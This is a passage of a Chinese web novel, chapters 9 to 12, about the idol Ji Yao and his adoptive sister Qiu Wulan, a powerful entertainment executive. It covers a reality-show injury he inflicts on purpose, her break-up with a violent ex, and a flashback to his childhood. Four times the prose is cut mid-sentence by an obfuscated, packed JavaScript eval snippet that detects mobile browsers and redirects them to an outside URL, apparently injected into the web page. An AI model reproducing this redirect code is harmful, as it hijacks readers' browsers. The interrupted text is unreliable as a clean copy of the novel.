摄影师还没明白那个结是怎么回事,季尧就如法炮制地将断口上下的两根铁丝也一并扯断,露出个破口。 他一脚踹在断裂处,进一步破坏了破口,伸手掏出了木盒。 盒子之中,一把钥匙,一包咖啡用的迷你砂糖,附带说明书—— [剧毒药粉:食用剧毒药粉,将立即死亡] 这是节目里出现过的道具,次数不多,如果骗食的动作太过明显,MC会产生防备。 食用类道具的用法在于出奇制胜,比如提前找到节目组给嘉宾们准备的食物和水,或是以口播赞助商商品的形式,让嘉宾以为只是在配合赞助。 季尧把糖包收入口袋,双手穿过空隙宽大的铁栏,拿钥匙打开了牢门。 摄影师欲言又止,他焦距都拉近了,准备拍一个季尧打开木盒后震惊兴奋的表情,结果少爷他连眉毛都没挑一下,还不如普通人玩密室来得有情绪。 摄影师又是焦虑又是戚戚然,急得直想替他上镜。 开了门,走廊比监狱更加黑暗。 作成斑驳样式的墙壁上偶尔还有血污,长廊无人,少年双手被绑在身前,噙着一丝微笑缓步走着,松弛如闲庭散步。 一步、两步……那半截绳子在他脚边来回晃悠。 要不是知道剧本,摄影师差点以为他家少爷才是古堡主人。 走了三五分钟,摄影师刚要出口提醒,就见季尧身形一顿,迈出的前脚徐徐收了回来。 他身前的地板骤然从中间分开,一个深三米的海绵球陷阱出现在了前方。 摄影师目瞪口呆,忍不住小声问:“您怎么知道前面有陷阱的?” 季尧叹气,“做得这么粗糙。” 遮在陷阱上的是合成板,下方又空,和厚重地砖的触感、声音有些许不同。 摄影师暗自垂泪。 这时候应该带着点小得意、小俏皮解释原因,而不是这样无聊又遗憾地开嘲啊少爷! 有脚步声传来,摄影师立刻将镜头对准幽暗的前方,季尧贴着墙、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729514|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从边上绕过了陷阱口。 他站在陷阱前,见到了游戏吧的一位MC。 对方匆匆跑来,边跑边不时回头,如此暗的环境下都看得出脸上的惊恐。 摄影师不断调整镜头焦距,积极得一时分不清是在拍摄节目,还是在给他家少爷拍摄教学范本。 对方也是选秀出身,算得上是RNI的大前辈。年近三十依旧挡不住男团特有的精致帅气。 在看见季尧的瞬间,MC脸上的惊恐分了一半化作惊喜。 他挥着手对季尧喊:“快跑快跑!后面有女鬼!” 在MC三分慌乱、两分恐惧、五分惊喜的语气中,摄影师羡慕地仇视起对方的摄影:可恶,竟然能跟拍有调色盘脸的艺人,真是好命。 季尧眨眨眼,懵懂地愣在原地,“什么?有女鬼?” “对,女鬼!她手里拿着刀追我!” 说话间MC已经跑近,季尧没反应过来似地站在原地,只在对方冲过来时,本能地侧身避让。 砰—— 一声巨响。 紧接着,清朗的笑声回响在廊上。 越过季尧、一步踏空的MC掉入了陷阱。 他被无数海绵球堆挤着,还没从坠落感中回神,就见陷阱口探出了少年人畜无害的笑脸。 “没事吧哥?” 他伸手,露出被捆的双手,末端的麻绳落了下来。 他对着海绵球里的男人道,“来,我拉你。” 埋在球里的MC额角突突。 他意识到,季尧是故意站在那个位置——那个挡住了陷阱的位置。 无奈“游戏吧”的最大赞助商是秋叶集团的附属公司,MC压下恼火,故作轻松地笑骂了一句,“混蛋啊你,你等着,我上来就弄死你。” “别别别哥。”季尧也笑。在对方拉住麻绳后,一步步后退,用绳子把他拉了上来。 MC警惕他会不会中途松力,让他再摔回去,没想到季尧竟老老实实地一直往后退。 他扒住边沿,季尧还过来拉他。 看在对方是秋叶集团小少爷的份上,MC咽下了这口气,正当他准备借着季尧的力爬出陷阱时,他扒在陷阱口上的四指猝然剧痛。 笑容可掬的少年踩在了他的手上,他俯身弯腰,漂亮如天使的脸匿在背光的阴影里,近距离盯着他,像是看不清。 “还好吗?” MC张了张口,未及说话,踩在他手指上的鞋倏地来回碾压。 浅色的瞳孔凝视着他,脚尖不断碾磨着,小幅而狠重。 他不是因为太黑而没有看见他的手。 “对不起啊哥,”他歉疚地开口,“有摔伤吗? 9. 第九章 迎接邱芜澜回到秋叶娱乐总部的是一张医疗账单。 季尧在参加“游戏吧”时,因为所处环境太暗,不小心将一名MC手指踩伤。 “游戏吧”的运动项目较多,当日季尧穿的是运动鞋,为了增大摩擦,鞋底有棱形设计。 他在后退的过程中,鞋底的棱条把那名MC四指皮肉刮下来了一层,严重影响了对方后期排程。 MC一周后的大型演唱会因此紧急调整,删掉了原本的钢琴弹唱内容。 对方公司气得要命,能成为游戏吧这样爆火综艺的常驻,那名MC是公司的台柱之一。他们本想问秋叶讨要赔偿,可季尧在节目途中就发了云书,直接艾特MC,向他诚恳道歉。 还能说什么呢,本来环境就暗,又是户外活动,磕绊在所难免。季尧一口一个哥,MC除了“没关系”以外,再也说不出别的话来。 气得要命的不止是对方,邱芜澜的助理简也气得冒火。 那是田烨之后,她为邱芜澜挑的候选人之一。 不出这件事的话,过段时间他本该成为邱芜澜的新男友。 虽然对方说了不在意,但对着那只血肉模糊的手,简实在张不了口,介绍对象的事只得作罢。 邱芜澜坐在宽大的办公椅内,盯着面前的医疗账单。 门被叩响,简推开门,待身后的季尧入内后,对着邱芜澜点头致意,安静地退了出去。 门被合上,办公室内只剩下了邱芜澜和季尧。 “姐姐。”少年偏头甜笑,琥珀色的瞳孔弯折出了细碎的星芒。 他朝邱芜澜走近,邱芜澜向后倚去,双手叠交在小腹前,以审视的姿态注视他。 “有什么不满么。”她问。 季尧脸上的笑顿住了,他看见了桌上的医疗单。 他移开目光,抗拒着对视。 良久,在邱芜澜的视线下,他才低低开口,“他和别人说,我长得不像邱家人,是姐姐的……小玩具。” 邱芜澜支着额角,微卷的长发倾下,遮挡住了窗侧的日光。 “流言是除不尽的。”她说,“说这话的人不少,你不可能每一个都报复回去。” 季尧抿唇,“他嫉妒我。他在臆想姐姐,我不高兴。” 邱芜澜拔开笔盖,执着宝蓝色的钢笔在医疗报销单上签下自己的名字。 “阿尧,如果娱乐圈让你不开心,你可以去做自己喜欢的事。”她边签边道,“季阿姨那里,我会去说明。” 季尧半垂眼睑,细密的眼睫投下小片阴翳。 “姐姐,”他低头莞尔,“除了脸以外,我也没有别的特长了。” 邱芜澜搁下笔。 片刻的静默后,她不置可否地轻吟,“是么。” 空气有些滞塞。 季尧瞳色微深,他意识到自己必须说点什么,打破这份僵硬的肃穆,挽回与邱芜澜的和睦。 他挽起灿烂的笑,正要冲邱芜澜撒娇、询问她出差的情况,干涩的寂静中,忽然响起一声轻浅的笑。 邱芜澜抬手,示意季尧过来。 待季尧绕过桌子,来到她身旁时,女人抬起的手落在了他的脸颊上。 五指柔软温凉,落在脸上,像是覆了一朵清凉的雪。 她凝望手中的少年,清眸含笑。 “是啊,阿尧很漂亮。” 季尧一滞,双眼尽是邱芜澜的倒影。 一瞬间,他近乎起了落泪的酸楚。 “姐姐……”他弯着腰,让邱芜澜摩挲他的脸,一只手小心翼翼地覆在了她的手背上,依恋沉溺地喃喃,“姐姐、姐姐……” 邱芜澜的笑从眼眸延至唇角,她爱抚着他,眸光仿佛浸了水,温柔和缓。 “阿尧,”她说,“你知道的,我对你和他们是不同的,为什么还这么不安?” 季尧撑不住腰了,他酸软地跪在地上,双膝压着银灰色高跟前的地毯。 覆在他面颊上的手从平抬转为下垂,松松地搭在他的发顶。 邱芜澜自上而下地俯视他,“不管别人如何看你,对我来说,你永远是邱家的孩子,是我的弟弟。” 回应她的是细细密密如同虫群爬行的喃语。 “姐姐、姐姐……”少年枕上了她的膝盖,祈祷一般剖白,“阿尧爱你。” …… 邱芜澜不在乎那名MC到底有没有在背后说过什么,也不在乎季尧有没有撒谎。 她签了医疗费用,让简亲自去慰问了对方,此外再没有别的补偿。 重要的不是真相,而是身份。 季尧是家人,而那名MC只是个撞进邱家人手中的可怜小兔。 兔子,是食物,也是小狼崽子们最喜爱的玩具。 季尧想玩的是密室逃脱还是那名MC,在邱芜澜心中并无差异。 当事人没有任何动作,云书上却吵翻了天。 粉丝心疼哥哥自不用说,理智粉们强烈问责“游戏吧”节目组;不太理智的粉丝们一边强烈问责季尧,一边强烈问责节目组。 她们制作出往期游戏吧嘉宾的受伤特辑,要求节目组整改,重视艺人安全,激进派更是从各个渠道举报。 一时间节目组压力巨大。 PD找上了邱芜澜,这件事论起来和秋叶娱乐的副总裁没什么关系,甚至邱芜澜的艺人是因为节目组的安排不当,被MC的粉丝黑了一波,属于受害方。 但邱芜澜的身份着实特殊。 游戏吧的最大赞助商由秋叶集团控股46%,是秋叶集团的附属公司。 节目受损,直接影响的是赞助商。 秋叶集团的掌权人不会为了这点小事出面,加之当事方之一的季尧隶属秋叶娱乐,导演斟酌了两天,还是对邱芜澜提出了会面邀约。 邱芜澜没有拒绝。 导演想来问问秋叶集团有什么想法,要是能讨点赔偿、加点赞助就更好了。 他约了晚上的时间,请邱芜澜吃顿饭,预备觥筹交错、和和美美地把这事解决。 邱芜澜的行政助理委婉回绝了饭局,将时间定在了下班前的半个小时,地点就在秋叶娱乐的小会议室。 一下子从饭桌成了会议室,导演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733659|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙叫上认识的律师朋友,心情从满怀希望变成浑身戒备。 当那位叫做简的秘书带他们进入会议室时,导演愣了一下。 他看着和机场安检一样的门框,迟疑地问:“这个是……” “哦抱歉。”简回身,抬手关掉了安检门的开关。 红色的监测灯熄灭,她侧身让出进门的位置,笑道,“实在不好意思,今天的访客比较多,只剩下了这一间,平常是用来签保密协议的。” 导演悻悻点头。 他从厚实的检测门下穿过,即便已经关闭,可还是出了一身冷汗,仿佛被无数双电子眼扒开衣服看了个遍,很不舒服。 狂傲的资本家。他暗骂着,幸好自己带了律师。 简微笑,“稍等,邱总很快就来。” 那职业化的笑容让导演胸闷气短,还没开始谈就感受到了深深的挫败。 女秘书特地带着他到了这扇检测门下,又当着他的面关掉了开关。 因为他不是刚入圈的新人,不知深浅;也不是能为了博眼球而舍去一切的年轻人。她知道他是懂规矩的那一类,但还需要一点善意的提醒,才能确保无误。 导演在心中自嘲,他们实在是高看了他的胆量。 当会议室门推开,邱芜澜出现的刹那,导演当即起身,忐忑局促地上前,进门后的所有不满都在此时化作一抔笑容—— “邱总,耽搁您时间了。” “工作时间谈工作,怎么是耽搁?”女人浅浅地提了点笑,这笑只为职场礼仪,并非为了取悦别人或是自己。 导演跟着入座,“其实不该劳烦您的,只是集团的领导们难约见,节目组又被架在了油锅上,没办法只能找您了。” “我理解。”邱芜澜颔首。 “节目口碑下降的厉害,那些粉丝天天给文化局打电话、写邮件。我们来是想问问,赞助商对此是什么个想法?” 邱芜澜抬眉,“赞助商可不在这里。” 导演笑道,“是,我找过对接的领导,是他们让我来问问您。” “秋叶娱乐和你们的赞助商是独立的两家公司,您来问我,我实在是没法代表别家公司作出什么决定。” 导演心沉了下去,又听她语气一转,“游戏吧目前的困难我也有所耳闻,同为娱乐圈子里的从业者,冒犯地说一句——如果游戏吧是我们公司的项目,我会选择保守策略。” 导演连忙道,“您说。” “发表道歉声明,停期整改一周。” 导演一噎,没想到邱芜澜这么小气。 她的艺人、她的宝贝弟弟害得节目差点办不下去了,她就来个“道歉声明、停期整改”,一分赔礼都不愿花。 “这……”他赔笑道,“这是不是有点太简单了?” “是啊,”邱芜澜微笑,双手交握在腿上,“本来不就是个很简单的事么,有什么大不了的呢。” 她右耳下的珍珠半匿在浓云般的长发中,光润的珠彩倒映出导演扭曲的脸。 她的身后,是当着导演和他律师的面,公然关掉的检测门。 10. 第十章 不到下班时间,游戏吧导演一行便离开了。 简送邱芜澜回了别墅。 空荡的房子里没有第二个人的气息,邱芜澜不喜欢外人在自己家里长时间滞留,卫生家务由保洁定时上门,其余时候都是季尧处理。 她坐在沙发上,打开秋叶娱乐策划的节目,就着这一背景音开始处理工作,等待季尧回来。 出差一周,邱芜澜饿得轻微头晕。 她对食物极其挑剔,一般的饭店根本无法入口。 她倒也可以随身带着专用厨师,但出门在外各类饭局应酬委实不少,回到休息处时往往也已近深夜,难有吃饭的时间精力。 这种情况下,邱芜澜和她身边的人随时带着糖。 特别定制的糖能提供她维持生命的基础热量。 今天下午季尧在宜安城有小型路演,为新开的宜安城增加人流。 他回来得较晚,邱芜澜替他收了农场送来的果蔬鸡蛋。 下单到上门,统共不超过半个小时,从城郊的农场直升机冷链送来。 季尧上午用公司的小厨房给邱芜澜做了冷食。 邱芜澜对食物的种类并不挑剔,但对食物的质量有着极高要求,即便是出自顶尖大厨之手的饭菜,稍变温凉,她就不再碰了。 尽管冷食存放的时间较长,可没有温度的食物无法抚慰饥饿了一周的胃。 邱芜澜要等季尧回来做饭。 她在平板上翻页,听见门铃声。 邱芜澜看了眼窗外,冬季日落得早,一份计划书还没看完,天就黑透了。 她起身朝大门走去,在显示屏上看见了门外的男人。 田烨。 敛眸几息,邱芜澜打开了门。 刺骨的寒风冲进室内,她站在门口,手搭在门把上,没有请人进屋的意思。 “芜澜!”门外的男人带着一身冬夜里的寒气,失魂落魄地望着邱芜澜,“你、我……为什么要分手?我做错什么惹你不开心了吗?你说,我一定改!” 邱芜澜感到了深深的疲倦和厌烦。 她不喜欢处理不必要的人际问题,何况这样的局面已经出现过太多次,如同走不出的怪圈,无论她选择什么样的男人,最后的面孔神态都会变成这般模样。 “我想,”而她,也在不停重复着同样的句子,“好聚好散。” “不,我不要散!”男人一把抓住了邱芜澜的手腕,“芜澜,我真的爱你!是不是季…有人说了什么?芜澜,我真的不想和你分开,再给我一次机会好不好?” 邱芜澜任他抓着自己,“我腻烦了。” “为什么!”田烨低吼,他拉着邱芜澜的手覆上自己饱满的胸肌、又移去劲壮的腰侧,“这里、这里,你都喜欢的啊!你明明对我很满意啊芜澜!” 邱芜澜淡声道,“田烨,你有大好的前途,我会给予你一定补偿。” “不、不等等!” 陷入激动的男人没有听出通牒背后的含义,反而被“前途”二字进一步刺激。 和邱芜澜交往的一个半月,田烨仿佛置身云端。 从前对他不屑一顾的制作人突然有了好脸色,身边的同行再不对他阴阳怪气,以往费好大力气的才订到的场馆,现在一个电话就能解决。 周围的人都说,邱芜澜对他和其他前任很不一样。 每每听了这些话,田烨只是笑笑,于是对方便进一步指出邱芜澜对他的特殊之处。 有人说,邱芜澜公私分明,从不会为了男友去和谁打招呼;可田烨一句话就定下了蜻蜓场馆,付的场地费也只有市场价的七成,这显然是邱芜澜暗地里帮他说了话; 有人说,邱芜澜喜欢兰草类的香水,田烨收到的粉丝礼物里就有一瓶兰草香水。这一定是邱芜澜偷偷送的,她想他身上留有她的味道,不好意思直说,故意混在了粉丝礼物里。 此外说的最多的一句就是—— “田烨,从来没有谁和邱芜澜交往一周就进入她家。” 他是不一样的、他是特别的、他会是邱芜澜的丈夫、会成为邱家的一员。 不知从何时开始,田烨不在乎起了自己的新歌排名,他开始看起了世界富豪的排行榜单。 他不能没有邱芜澜,他绝不能失去她! “给我一个证明自己的机会!”他朝着门内挤去,步步紧逼,用深情遮盖眼底疯狂的贪欲,“芜澜,再给我一次机会,我会让你满意。” 高出邱芜澜近一头的男人双目赤红,喷出的呼吸洒在邱芜澜额间,滚烫炽热。 他势不可挡地前进,一边拉开上衣。 黑色的外套之下,赤.裸一片。 壮实的肌肉绷紧鼓起,浓郁的荷尔蒙铺天盖地地袭向了邱芜澜。 她后退的脚步一滞,像是被田烨传染,呼吸稍有急促,面颊浮起了不自然的潮红。 “芜澜、芜澜……”田烨笑着,拉起她的手按上自己的腹肌,“你想要了是不是?” 邱芜澜闭眸,深深呼吸。 田烨抬手,触碰她的肩膀,将她搂入怀里。 蓦地,女人睁眸,面若桃花,眸冷如冰。她扣住田烨伸来的手,错步侧身,在一声清脆的脱臼声中,将田烨的手反折至后。 “啊!”男人爆出惨叫,不等他从痛中回神,邱芜澜抬脚踹上他的膝窝,将他的膝盖踢砸落地,在大理石地板上砸出重重一响。 她扣着他反拗在后的手,左脚踩在他的脚踝上,冷睇着趴在地上痛出眼泪的男人。 那张清媚的脸因愠色而冷冽如霜,偏偏眸中含水,焦点也有几分涣散,像是发了一场高烧。 “田烨,我没有亏待你,也给了你选择的机会。”她喘息着,极力压抑着什么,“你太不知足了。” “没有亏待我?”田烨嘶吼,“你根本就不爱我!” 这尖利的声音吵得邱芜澜难受皱眉,她闭眼捱过体内的躁,扣着田烨手腕的手臂上抬,骨折声再度响起,田烨惨叫着,整条胳膊都被邱芜澜卸下,脸也被扭着碾在地上。 饿…好饿、好饿…… 邱芜澜咬着下唇,稍一睁眸,视线中便是男人裸露的腰背。 肌肉因痛而颤栗着,绷得比平时更加饱满坚硬。 好饿…… 她吞咽唾沫,在思绪陷入混沌之前,身后的大门打开了。 电子门锁传出细微的识别音,把手转动,少年推门而入。 邱芜澜回眸,与季尧那双干净的圆眼在空中对视。 两人耳边环绕着田烨惨厉的咒骂。 “疯子!邱芜澜,你疯了!快放开我!你给我等着,我要起诉你!” 看见邱芜澜绯红的面色,季饶立即反手关门,大步上前。 他一脚踩上田烨的后颈,以最快的速度控制住他全身。 邱芜澜缓了口气,从田烨身后抽离,交由季尧接手。 她踉跄着后退,眯眸努力让视线清明。 “弄走。” 她绷着下颚,用尽全部抑制力维持正常,吐出那两个字后,跌跌撞撞地往二楼房间走去。 季尧目送她进房,半垂眼睑看向脚下的男人。 被他踩住后颈,田烨整张脸都压在了地板上,门牙磕着地,再无法开口咒骂。 季尧拿出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738263|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,给简打去了电话。 简很快赶来,她和定时上门的保洁住在一起,同样也是这片小区。 她带着两名安保架起田烨。 被压在地上多时的男人起身,刚要张嘴呼喊,一条毛巾就塞了进来,把他的下颌撑到极限。 他们将他拉进车内,简担忧地往邱芜澜房间望了一眼。 “她还好…”“就是这么选人的?” 简的关心卡在喉咙里。 少年插着一侧口袋,脸上的舞台妆还没有卸,本就年纪小,又被故意往可爱乖巧的路线打造,此时的神态语气却像极了纯血的邱家人,冷淡而锋利。 被这气势所慑,简下意识回答:“选他的时候……情况特殊,来不及细挑。” 说完,她猛地反应过来,自己何须像季尧解释。 她当然是内疚自责的,可她照顾了邱芜澜一辈子,她给邱芜澜扎辫子的时候,季尧那小三妈还在外面卖笑,他有什么资格来质问她? 在简隐隐的傲怒之中,季尧没有继续问责。 他展眉,露出柔软的笑。 “简姨,别生气,是我态度不好,看见姐姐被欺负,有点控制不住情绪。” 他说得好声好气,简的怒气稍减,不屑与厌恶愈发上涨。 这时候的季尧像极了他妈,一大把年纪的女人,偏偏要用小女孩儿似的语气撒娇。 邱芜澜一时半会儿不会出来,简想把季尧带走,但也知道邱芜澜出差这一周饿狠了,一直在等着季尧回来给她做饭。 简无法,只得交代季尧几句,让他留在了这里。 季尧送她出门,隔着车窗看见后座夹在两名安保之间的田烨。 他双手被两名安保分别挎着,嘴里塞了厚毛巾,下巴、颧骨上堆满了乌青,不知是被毛巾堵的还是气得,整张脸都涨得紫红。 季尧冲他微笑,看见这笑容后,田烨的脸愈红了。 他猛地挣扎起来,又被两边的安保按住,如同岸上的鲤鱼激烈挺腰,自毛巾中发出些含糊的短音。 车子离去,季尧第一时间调出门口的监控发给简。 她需要这一段田烨闯入民宅、逼迫邱芜澜的记录。 看着监控中的画面,季尧微微抿唇。 监控里的田烨步步逼近邱芜澜,眼角因痴狂而微微发红,仿若陷入癔症当中。 这样的不稳定,叫季尧想起那天在生鲜超市里遇见的易蒲。 「她的压力越来越重,我真怕来回换人反而更加添乱。」 季尧抚过监控屏幕上的邱芜澜。 「我一直很受姐姐喜欢,所以不能理解为什么那么多男人最后都会惹她厌烦。」 他不能理解。 季尧不能理解那些男人为什么这样贪得无厌。 他的姐姐善良心软、理智宽容,对情人的要求也并不多,为什么那么多所谓的“顶级”的男人,没有一个能服侍好她。 季尧屏气,二楼邱芜澜房中传出细碎的低吟,回荡在温暖的别墅内,极轻,还是被他捕捉到了一二。 他无意识地转着鼠标滚轮,目光胶着在屏幕里的田烨身上,像是在紧盯着他,可双眸空洞,并不聚焦。 压抑扭曲的女声在他耳旁歇斯底里地低吼——废物、废物、废物! 这声音缠绕在刺鼻腐烂的蔷薇浓香里,窸窸窣窣,宛如巢穴里的群虫。 密密麻麻的虫声包裹着季尧,良久,他张唇,对着屏幕,随耳边女人压抑的低啸一同无声喃喃—— “废物……” 没用的公狗。 如果是他,一定不会让姐姐这么痛苦。 11. 第十一章 简在车上收到了季尧发来的监控录像。 后座的田烨还在奋力挣扎,一张冷俊的脸涨成猪腰色,紫红的皮肤下跳动着蚯蚓般的粗.硕青筋,塞着毛巾也阻挡不了满嘴的脏气。 简烦躁无比。 从邱芜澜有意换掉田烨开始,简就在物色新的男人。 一个月的时间过去了,她好不容易看中的新人又被季尧踩烂了手。 国内很难有合乎简标准的明星。 那些少女的梦中情人有七成都不是合格的床伴,他们或沉溺酒色,或疲惫忙碌,完美的身材大半依赖药剂。 真正优秀的那一批,要么已经拥有了足够资源,不需要这种交易;要么自尊心极高,放不下身段当女人的玩具。 简几次都想把范围扩大到普通人群中,但考虑到秋叶娱乐正在扩张的关键节点,她还是不敢启用素人。 普通人不像明星那样被架在高空,他们太不可控,为了十几万、几十万,甚至只是为了走红网络,就能不管不顾地撕下脸皮。 简不敢赌。 她不由得急躁起来。 虽然邱芜澜辞掉田烨后,没有再要求她提供下一任伴侣,但根据以往几次的戒瘾记录,邱芜澜最长一次不过是两个月。 那次戒断,简几乎以为她成功了,便真的没有物色新人。 两个月的时间里,邱芜澜越到后期表现得越平淡正常,就在简彻底放下心的时候,邱芜澜突然在会议上发了病。 她坐在会议桌前,一如既往地认真倾听下属的汇报,没有任何征兆。 要不是简看着邱芜澜长大,对她足够了解、及时将她带走,后果不堪设想。 翻着密密麻麻的戒瘾记录,简眼中泛起了心疼。 她已不想邱芜澜再去戒这份性.瘾,宁愿她和她父亲邱岸山一样,好好利用家族权力让自己过得舒服一些,将病情控制在稳定的范围内就行。 田烨只是个意外,她要立刻给邱芜澜找到稳定、优质的人选。 如果娱乐圈中没有这样的明星,她可以去打造一批,让素人成为明星。 想到“造星”,望着手机中发来监控录像的“季尧”二字,简突然记起一个人来—— 季尧的队长,韩尘霄。 …… 房门被轻叩,得到“进来”的准许后,季尧按下把手。 他看见邱芜澜坐在床上,穿着纯黑的丝绸吊带长裙。 她已经整理好了自己,连头发都梳理过,柔顺如藻地披在身后,不见一丝毛糙。 季尧站在门口唤她,“姐姐,可以吃饭了。” 被田烨刺激到发作,邱芜澜的心情极差,挫败和被忤逆的躁戾充斥全身,让她心跳过快、腹下痉挛收缩,呼吸之间尽是炽热的浊气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742354|144927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份躁在季尧打开门、飘进食物的香气后稍淡两分。 邱芜澜深深呼吸,压下翻滚的情绪与反应,起身同季尧去了餐厅。 她出差一周回来,季尧做得丰盛了些。 他坐在邱芜澜身侧,等待邱芜澜第一口的评价反馈。 微烫的瑶柱入口,邱芜澜的脸色愈缓和了不少。 她看向手边的少年,唇畔终于有了点笑意。 季尧偏头,“姐姐笑什么?” “只是想,”邱芜澜伸了第二筷,“他们要是有阿尧一半省心就好了。” 季尧没有接话,他低头抿笑,将碗里的无菌蛋搅散,倒在热气滚烫的肉片上。 他嫉妒着邱芜澜口中的“他们”,也惧怕有朝一日自己成为“他们”的一员。 他愚蠢的妈妈根本没有意识到,“他们”是连名字都不配拥有的药剂,而“季尧”至少是邱芜澜的弟弟。 季葶不明白邱芜澜为什么不碰季尧,她发了疯地咒骂、催促、拳脚相向,季尧始终不为所动。 他知道邱芜澜推开他的原因—— 她视他为人,她珍爱他,重视他的感情。 “姐姐。”季尧将淋了蛋液的肉碗放到邱芜澜手边,“尝尝这个。” 这是他唯一的爱,就算季尧嫉妒得心肺流脓,也不会愚蠢地将这份爱轻易葬送。 他必须小心翼翼。 12. 第十二章·【过去】 瑚城因珊瑚闻名,旧时承揽了宫廷侯爵们一半的珊瑚量,后因港口众多而成为国内最早发展起来的城市。 八岁的季尧从没有见过这么多车,他坐在高级轿车里,像是暗流裹挟的一条露比灯,猛地一下被打入了珊瑚丛。 斑斓华丽的世界让他感到窒息,他忍不住扭头看向一旁的季葶。 季葶穿了一身纯黑的绒质裙,裁剪贴合,是专人定制。 她挽起了头发,天然卷的长发被打理得一丝不苟,耳上带着设计简约的蓝宝石,搭在膝上的手中握着一只小巧的白皮包。 季葶一直都是甜美馥郁的,今天的装扮和以往截然不同,季尧记忆中的母亲从来没有穿过这样色调的衣服。 注意到季尧的视线,季葶侧身,替他理了理身上的背带,整理好后,她对着季尧露出一个温柔的笑,梦幻一般。 季尧也从没见过季葶这幅表情,她会对着男人这样笑,但绝不会对他流露这样浓厚的温情。 穿过眼花缭乱的珊瑚丛,身边的车流越来越少、房屋建筑也逐渐消失。他们进入了一条长长的林荫道,两侧蓊郁葳蕤的大树让季尧恍惚自己是在穿越森林。 他感受到了季葶加速的心跳,不知道为什么,季尧似乎比身边的其他孩子更容易感知情绪。 一座巨兽般庄园盘踞在森林尽头。 古老的历史感扑面而来,车子驶入庄园大门,又缓行了几分钟才停下来。 季尧瞥见,那只柔软的白色小皮包被季葶掐出了皱痕。 她的呼吸急促粗重,眼中是藏不住的狂喜,板了一路的脊背在此时愈发挺直,几乎要反拗过去。 西装革履的男人打开后座车门,手垫在门上。 他在两人下车后,恭敬地询问:“是季葶女士么?” 季葶微微仰头,望着这座奢华的巨兽,脸上浮出迷离的笑。 她斜了眼身侧躬身的男人,问:“你是?” “我是这片庄园的人事管家。”他侧身,露出身后一名年轻女人,“这位是我的助手,简。” 女人冲他们躬身,不突出也不难看的普通长相,五官温和耐看,在她起身的刹那,季尧对上了她的目光。 排斥、鄙夷,高高在上。 他抬眸去看那名管家,不一样的脸,不一样的表情,深处却是一样的姿态,且比简的更加浓厚。 季尧靠近了些季葶,兴奋中的季葶却没有注意到什么。 她故作淡然地问:“岸山呢?” 管家笑道,“先生本想等您的,但公司出了点急事,他今早不得不出国,走之前特地吩咐我们在这里迎接。” 季葶不免有些失落,“好吧,那带我去见见孩子们吧。” “承澜少爷在寄宿学院,每个月月底才回来两天。小姐少爷们都在上课,我先带您去房间休息,一会儿下午茶的时候再安排会面,您看这样可以么?” “都在上课?他们不知道我要来么?”季葶皱眉。 “当然,先生一早就和他们说了您要来的消息。” 季葶隐隐觉得有点违和,这微妙的情绪被大门后的装潢冲得烟消云散。 璀璨的水晶灯、流云的石板、直对蔷薇园的五米落地窗,以及穿着统一、温顺如羊羔的佣人们构造出一曲绮丽的黄金梦。 季葶软着脚,踩在云端,接受所有人的问候。 她再没过问孩子们的事,由着管家将自己安排进了二楼走廊最末端的房间。 一副巨大的肖像画挂在房门正对处。 季葶被吓了一跳,“怎么有个这么大的人挂在这里,还正对着门,多吓人呀。” 管家和煦的笑容冷淡了两分,他说:“这是夫人的画像,是先生要求挂在这里的。” 季葶立刻重新打量起那幅画来。 画上的女人的确和她很像,只是眉宇间多了两份书香气,笑容也更加娴雅。 季葶不太乐意,可刚进家门,邱岸山又不在。 她安慰自己,别和死人较劲。 推开门,奢华的房间一下子让她忘记了心里的不舒服。 搭上邱岸山之前,为了维持高昂的美容费和参加各种“名流聚会”,季葶不得不住在远郊的农民房内。 遇上邱岸山后情况好转了不少,秋叶集团坐立在瑚城中心,为了方便和他见面,季葶咬牙租了一间二环的loft,和季尧一起挤在三十多平米的公寓里。 而眼前的这间房间面积超过八十平,内带一间儿童房给季尧,窗户底下就是大片的蔷薇园。 